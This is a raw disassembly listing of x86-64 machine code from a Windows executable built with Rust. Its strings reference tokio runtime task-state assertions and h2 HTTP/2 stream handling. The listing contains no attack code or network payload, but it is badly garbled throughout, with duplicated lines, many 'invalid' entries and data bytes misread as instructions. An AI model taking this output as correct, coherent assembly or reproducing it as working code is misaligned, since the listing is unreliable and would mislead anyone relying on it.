xchg edi, eax
verr word [rbp + 0x48]
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
fbstp tbyte [rsi - 0x76b7fffb]
retf
mov rbx, rcx
mov rcx, rax
call fcn.1400d4a00
add al, 0
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
mov qword [rax + 0xf0], 1
add byte [rax - 0x77], cl
mov eax, 0xf8
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
lea rdx, [rsp + 0x70]
call fcn.140088830
jo 0x140088c21
sti
invalid
mov ecx, dword [0x140182314]
or eax, 0xf96d1
mov rdx, qword gs:[0x58]
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
cmp ecx, 1
je 0x140088c91
invalid
cmp ecx, 1
je 0x140088c91
invalid
xor eax, 0x4b75c985
test ecx, ecx
leave
jne 0x140088cab
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rdi, qword [rdx + rcx*8]
cmp al, 0xca
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
invalid
invalid
add eax, 0xe8c38900
js 0x140088c43
invalid
mov ebx, eax
call fcn.1400d4a00
invalid
add al, 0
mov ebp, 0xd8890004
add al, 0
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
jge case.0x140070aa6.61
verr word [rbp + 0x48]
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
mov rdx, qword gs:[0x58]
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
add byte [rax - 0x73], cl
jle 0x140088ccf
lea rdi, [rsi + 0x20]
test al, al
je 0x140088d42
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177b84]
invalid
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
invalid
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
mov rax, 0xffffffffffffffc0
push rax
xadd qword [rsi], rax
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140088dfc
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140088cd0.0
invalid
mov rcx, rsi
call 0x140089000
jmp case.0x140088cd0.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0x50], 5
and al, 0x50
add eax, 0x24548d48
xor byte [rax - 0x77], cl
stc
call fcn.1400898e0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x140088d65
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400898e0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov byte [rsp + 0x50], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400898e0
mov rcx, rsi
call fcn.1400890c0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008901d
lea rcx, [rsi + 0x20]
call fcn.1400687d0
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0x50]
mov edx, eax
and dl, 6
add al, 0xfd
xor r8d, r8d
cmp dl, 4
movzx eax, al
cmovne eax, r8d
cmp al, 1
je 0x14008904b
movzx eax, al
test eax, eax
jne 0x140089087
call fcn.140088700
jmp 0x140089087
cmp qword [rcx], 0
je 0x140089087
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x140089087
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140089087
cmp qword [rbx + 0x10], 0x11
jb 0x140089075
jnp 0x14008907e
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x140089097
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
je 0x14008916f
test al, 2
jne 0x140089187
test al, 8
jne 0x140089107
lea rcx, [rsi + 0x20]
mov byte [rsp + 0x48], 5
and al, 0x48
add eax, 0x24548d48
sub al, ch
fild dword [rdi]
add byte [rax], al
and al, 0x48
add eax, 0x24548d48
sub al, ch
fild dword [rdi]
add byte [rax], al
jmp 0x14008911f
test al, 0x10
je 0x14008911f
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x14008920b
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec470
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14008919f
jne 0x140089165
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x140089000
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
mov edx, 0x23
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
add eax, 0xc4cf3
add eax, 0xc4cf3
mov edx, 0x25
call fcn.140108350
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
popfq
clc
dec dword [rax - 0x77]
and al, 0x68
popfq
clc
dec dword [rax - 0x77]
and al, 0x68
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
and al, 0x78
and al, 0x78
lea rax, str.current:___sub:
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
and al, 0x38
mov qword [rsp + 0x40], 2
mov dword [rsp + 0x40], 2
add byte [rax], al
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
add byte [rax - 0x73], cl
and al, 0x28
lea ecx, [rsp + 0x28]
call fcn.140108280
lea rax, str.waker_missing
lea eax, [0x14014da58]
mov qword [rsp + 0x28], rax
and al, 0x28
sub byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
cmp byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x40
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x28]
and al, 0x28
call fcn.140108280
int3
push rsi
push rdi
push rbx
sub rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
invalid
mov eax, dword [rcx]
jmp 0x14008928a
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
and ecx, 0xfffffff8
and ecx, 0xfffffff8
clc
or rcx, 1
mov edx, eax
ret 0xeac0
invalid
ret 0xeac0
invalid
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400892b5
test al, 4
je 0x1400894ed
pop rbx
add al, byte [rax]
add byte [rax], al
test al, 3
je 0x140089270
cmp rax, 0x3f
add byte [rax], al
test al, 3
je 0x140089270
cmp rax, 0x3f
clc
invalid
jbe 0x140089505
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008928a
movzx eax, dl
lea rcx, [0x140177b94]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
and al, 0x70
je 0x1400892fc
push 0x24448d48
invalid
and al, 0x70
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsi + 0x50]
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsi + 0x50]
and al, 6
cmp al, 4
je 0x14008951d
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
jle 0x140089332
jle 0x140089332
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140089367
add dword [rsi + rdi + 0xf], esi
push rdi
test byte [rbp - 0x749c8a40], 5
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x140089393
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
fimul word [rdi + 0x4865000f]
mov edx, dword [0x58]
and eax, 0x58
mov r14, qword [rdx + rax*8]
mov esi, dword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
add byte [rax - 0x77], cl
retf
mov rcx, rax
call fcn.1400d4a00
add al, 0
add byte [rax - 0x77], cl
retf
add al, 0
mov rcx, rbx
mov byte [r14 + 0x120], 1
add dword [rbx + 0xf8fa705], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
add byte [rax], al
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
lea rdx, [rsp + 0x70]
lea edx, [rsp + 0x70]
and al, 0x70
call fcn.140088830
mov ecx, dword [0x140182314]
invalid
verr word [rbp + 0x48]
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
stc
invalid
stc
add dword [rbp + rsi - 0x7b], esi
je 0x1400893f1
test ecx, ecx
je 0x1400893f1
test ecx, ecx
jne 0x14008940b
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
verr word [rbp + 0x48]
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
add byte [rax], al
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
add byte [rcx - 0x49e7173d], cl
add al, 0
mov eax, ebx
mov byte [rdi + 0x120], 1
add dword [rbx + 0xf8f1d0d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
ror byte [rdi], 0x84
test byte [rax], al
add byte [rax], al
ror byte [rdi], 0x84
test byte [rax], al
add byte [rax], al
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177ba4]
or eax, 0xee77b
or eax, 0xee77b
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
bnd call fcn.1400eabe0
and byte [rax - 0x77], r9b
bnd call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x140089555
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140089430.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400898e0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x1400894be
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400898e0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov byte [rsp + 0x50], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400898e0
mov rcx, rsi
call 0x140089a80
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
and al, 0x28
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x40], 4
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.1400898e0
mov rcx, rdi
add rsp, 0x48
pop rdi
pop rsi
jmp 0x140089a80
in al, dx
and byte [rax - 0x77], cl
invalid
mov rdi, qword ss:[rsi + 0x38]
test rdi, rdi
je 0x1400898a7
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400898a7
cmp qword [rbx + 0x10], 0x11
jb 0x140089895
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x1400898b7
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jns 0x140089992
movzx eax, byte [rcx + 0x30]
mov edx, eax
and dl, 6
add al, 0xfd
xor r8d, r8d
cmp dl, 4
movzx eax, al
add al, 0xf
mov dh, 0xc0
cmovne eax, r8d
cmp al, 1
je 0x1400899af
movzx eax, al
test eax, eax
jne 0x1400899ec
mov rcx, rdi
call fcn.140088700
jmp 0x1400899ec
cmp qword [rdi], 0
je 0x1400899ec
mov rbx, qword [rcx + 0x18]
test rbx, rbx
je 0x1400899ec
mov r14, qword [rcx + 0x20]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400899ec
cmp qword [r14 + 0x10], 0x11
jb 0x1400899da
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140089a52
test eax, eax
jne 0x140089a6c
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140089a90
test al, 1
je 0x140089b2f
test al, 2
jne 0x140089b47
test al, 8
jne 0x140089ac7
lea rcx, [rsi + 0x20]
mov byte [rsp + 0x48], 5
lea rdx, [rsp + 0x28]
call fcn.1400898e0
jmp 0x140089adf
test al, 0x10
je 0x140089adf
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x140089bcb
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea850
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140089b5f
jne 0x140089b25
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp fcn.140089820
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
mov edx, 0x23
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
call fcn.140108350
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x28]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x28]
call fcn.140108280
int3
sub esp, 0x40
mov rbx, qword [rcx]
lea rsi, [rbx + 0x10]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], r8b
jne 0x140089cbd
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140089ce2
xor edi, edi
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x140089d03
lea r9, [rbx + 0x18]
lea rax, [rbx + 0x1c8]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
lea rcx, [rbx + 0x120]
lea ecx, [rbx + 0x120]
lea ecx, [rbx + 0x120]
lea r8, [rsp + 0x30]
call fcn.1400210f0
test dil, dil
jne 0x140089c95
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140089d36
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140089cb1
mov rcx, rsi
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov rdi, rcx
mov rcx, rsi
mov ebp, edx
call fcn.1401101b0
mov rcx, rdi
mov edx, ebp
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140089c45
mov edi, edx
mov r14, rcx
call fcn.140110270
mov rcx, r14
mov edx, edi
mov edi, eax
xor dil, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x140089c53
invalid
invalid
invalid
invalid
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], dil
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed08]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140108600
call fcn.140110270
test al, al
jne 0x140089c95
mov byte [rbx + 0x11], 1
jmp 0x140089c95
add byte [rax], al
cmp dword [r13 + rcx], 2
je 0x140089fdd
add r13, rcx
cmp dword [r13 + 0x114], eax
jne 0x140089fdd
movzx eax, byte [r13 + 0x50]
cmp eax, 5
ja 0x140089e8e
lea ecx, [rax - 3]
cmp cl, 3
movzx edx, cl
mov ecx, 1
cmovb ecx, edx
test cl, cl
je 0x140089e8e
movzx edx, cl
mov ecx, 4
cmp edx, 1
jne 0x140089f56
test eax, eax
je 0x140089f51
cmp eax, 2
jne 0x140089f56
movzx ebp, byte [r13 + 0x51]
movabs r14, 0x8000000000000000
cmp qword [r13 + 0x58], r14
je 0x140089e7d
mov rdx, qword [r13 + 0x60]
mov r8, qword [r13 + 0x68]
lea rcx, [rsp + 0x60]
call fcn.1400114d0
mov rax, qword [rsp + 0x60]
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x31], bpl
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 2
cmp rax, r14
jne 0x140089fb9
movzx eax, bpl
shl rax, 0x20
or rax, 3
jmp 0x140089fc5
mov rax, qword [r8]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov r15, rax
mov r14, rdx
mov rax, qword [r13 + 0x90]
test rax, rax
je 0x140089eb6
mov rcx, qword [r13 + 0x98]
call qword [rax + 0x18]
mov qword [r13 + 0x90], r15
mov qword [r13 + 0x98], r14
mov byte [rdi], 6
test bl, bl
jne 0x140089f74
jmp 0x140089f65
mov ecx, 8
mov eax, dword [r13 + rcx + 0x50]
mov byte [rdi], 5
mov dword [rdi + 4], eax
test bl, bl
jne 0x140089f74
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140089fa8
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140089f96
mov rcx, rsi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140110270
test al, al
jne 0x140089f74
mov byte [r12 + 0x11], 1
jmp 0x140089f74
lea rdx, [rsp + 0x38]
mov ecx, ebp
call fcn.14001f210
mov rcx, rax
shr rcx, 0x20
mov word [rdi], 0x804
mov dword [rdi + 8], eax
mov dword [rdi + 0xc], ecx
test bl, bl
jne 0x140089f74
jmp 0x140089f65
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x60], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x68], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
int3
add byte [rax], al
mov qword [rcx + 0x88], 0
mov rcx, qword [rsp + 0x28]
mov dword [rsp + 0x30], ecx
and al, 0x30
and al, 0x30
mov dword [rsp + 0x34], r9d
cmp qword [r13 + 0x10], rcx
jbe 0x14008b9b6
mov rcx, qword [r13 + 8]
cmp dword [rcx + rsi], 2
je 0x14008b9b6
or byte [rbx + 0xf02313c], al
test al, ch
add byte [rax], al
add byte [rax + 1], cl
int1
cmp dword [rcx + 0x114], r9d
jne 0x14008b9b6
mov dword [rcx + 0x118], 0
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x4c], 1
jne 0x14008b90a
mov rcx, qword [rsp + 0x28]
cmp ecx, dword [rax + 0x50]
jne 0x14008b90a
cmp r9d, dword [rax + 0x54]
jne 0x14008b90a
mov dword [rax + 0x4c], 2
add r8b, byte [rax]
add byte [rax], al
add rsp, 0x2a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x30], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
add byte [rax - 0x73], cl
adc eax, 0x9ccac
add byte [rax - 0x73], cl
adc eax, 0x9ccac
lea rcx, [rsp + 0x58]
call fcn.140108280
mov qword [rdx + 8], r8
or byte [rax - 0x73], cl
or eax, 0xb39bf
lea rcx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
add eax, 0xb2610
adc byte [rsi], ah
or eax, dword [rax]
mov edx, 0xb
call fcn.1401086b0
invalid
add byte [rax - 0x73], cl
or eax, 0xb2617
invalid
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
add al, ch
int3
call fcn.140108690
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
call fcn.140108350
mov qword [rsp + 0x180], rax
lea rax, [0x14001b400]
dec dword [rax - 0x77]
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x9cc1c
invalid
dec dword [rax - 0x77]
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x9cc1c
invalid
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 1
